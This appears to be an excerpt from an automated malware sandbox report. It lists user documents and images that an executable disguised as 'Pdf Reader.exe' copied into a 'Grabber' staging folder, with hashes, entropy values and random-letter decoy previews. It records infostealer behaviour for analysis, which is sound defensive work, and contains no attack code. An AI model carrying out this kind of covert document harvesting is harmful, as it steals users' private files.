Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
